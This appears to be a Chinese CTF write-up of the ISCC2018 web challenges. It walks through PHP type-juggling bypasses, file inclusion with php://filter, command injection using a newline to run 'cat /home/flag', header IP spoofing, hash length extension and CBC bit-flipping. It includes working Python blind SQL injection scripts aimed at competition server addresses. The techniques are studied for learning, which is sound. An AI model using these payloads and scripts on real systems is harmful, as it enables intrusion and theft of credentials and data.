zoukankan      html  css  js  c++  java
  • ISCC2018 writeup(web)

     比较数字大小

    F12 修改maxlength为4

    web01

    strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候,如果有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,所以绕过题目限制。

    payload:  get: /?password[]=1

    本地的诱惑

    右键查看源代码即可。

    你能跨过去吗?

     复制callback参数内容 base64解码得到<script>alert("key:/%nsfocusXSStest%/")</script>  复制key的内容 提交得到flag;

    一切都是套路

    访问/index.php.txt得到源代码:

    变量覆盖漏洞($$): 

    get: ?_200=flag

    post: flag=x

    你能绕过吗

    更改f参数的内容发现会报错,猜测是文件包含漏洞

    用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

     web02

     burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。

    请ping我的ip 看你能Ping通吗?

     根据题目要求 ping 猜测是命令注入漏洞,过滤了; & |等特殊符号  利用%0a(换行)进行绕过

    用  ls / 命令查看目录

    最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag 

    Please give me username and password!

    /index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;

    ?username[]=0&password=1e9

    SQL注入的艺术

    点击个人信息页面,宽字节注入,可以盲注也可以联合查询注入。 当时写了个脚本盲注的。

    import re
    import requests
    
    cname = ''
    flag = ''
    url = 'http://118.190.152.202:8015/index.php?id=1%df'
    payload = "' and ascii(substr(({p}),{m},1))={n}%23"
    list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
    for  i in range(1,46):
    	for ss in list:
    		p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
    		u = requests.get(url+p)
    		if "head.jpg" in u.content:
    			cname += chr(ss)
    			print cname
    			break
    
    for i in range(1,23):
    	for l in list:
    		pp = payload.format(p='select flag from admins',m=i,n=l)
    		u = requests.get(url+pp)
    		if "head.jpg" in u.content:
    			flag += chr(l)
    			print flag
    			break
    

      

     

    试试看

    /show.php?img=1.jpg  复制图片地址  文件包含漏洞。

    由于不包含.jpg文件提示File not found! resource可以包含两个文件 所以绕过

    payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。

    Collide

     直接给出源代码,由于key的值不知道 但是我们知道key的 长度为46,利用hash长度扩展攻击

    编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin

     用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

     

    Only admin can see flag

    cbc字节翻转攻击

    /index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。

    import urllib
    import base64
    #a:2:{s:8:"userna
    #me";s:5:"admiN";
    #s:8:"password";s
    #:6:"123456";}
    cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
    iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
    newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
    print urllib.quote(base64.b64encode(newcipher))
    
    jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
    mingwen = 'a:2:{s:8:"userna'
    newiv = ''
    for i in range(0,16):
        newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
    print urllib.quote(base64.b64encode(newiv))
    

      

     先用admiN 123456登录

    在地址栏处回车(不要刷新,否则cipher 和iv会刷新)并用burp抓包。

     

    将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。

     复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag;

     为什么这么简单啊

    根据提示利用 xff ip地址伪造和referer 即可进入第二关。

     右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交得到flag。

     

    ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
    解码得到: xinyiji.com

    php是世界上最好的语言

    用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(可以看我之前写过的php知识点总结)

     点击得到

    利用全局变量打印出$flag变量即可。

    Sqli

    题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。

    解密: u4g009

    提示在另一个字段,(真他妈坑啊),这里直接联合查询注入就可以了。

    顺便附上我写的垃圾盲注脚本

    import requests
    
    tname = ''
    pwd = ''
    url = 'http://118.190.152.202:8011/index.php'
    payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
    fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz')
    
    # for i in range(1,10):
    #     for k in fuzz:
    #         p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
    #         u = requests.post(url,data = {'username':p,'password':'admin'})
    #         if 'normal' in u.content:
    #             tname += k
    #             print tname
    #             break
    
    for i in range(1,33):
        for k in fuzz:
            p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
            u = requests.post(url,data = {'username':p,'password':'admin'})
            if 'normal' in u.content:
                pwd += k
                print pwd
                break

     有种你来绕

    
    

     

    根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注得到密码。

    写了个脚本跑出密码登录。

    import requests
    
    url = "http://118.190.152.202:8019/login.php"
    payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
    password = ''
    fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789'
    
    for i in range(1,33):
        for k in fuzz:
            p = payload.format(i,ord(k))
            u = requests.post(url,data = {'uname':p,'passwd':'admin'})
            if not 'username' in u.content:
                password += k
                print password

     解密: nishishabi1438  (我他妈想打死傻逼出题人)

    输入flag,执行即可。

    web400 Only Admin 是cookie注入,但是自己没怎么看,等其他师傅分享wp再学习一波吧。

  • 相关阅读:
    用指针方法排序数组
    struct和typedef struct
    结构体类型定义的一般式
    HDOJ1020 Encoding
    malloc函数详解
    新手入门 acm 输入输出练习
    【算法入门】广度/宽度优先搜索(BFS)
    C++栈和队列
    hdu畅通工程
    codevs 2639 约会计划
  • 原文地址:https://www.cnblogs.com/s1ye/p/9013719.html
Copyright © 2011-2022 走看看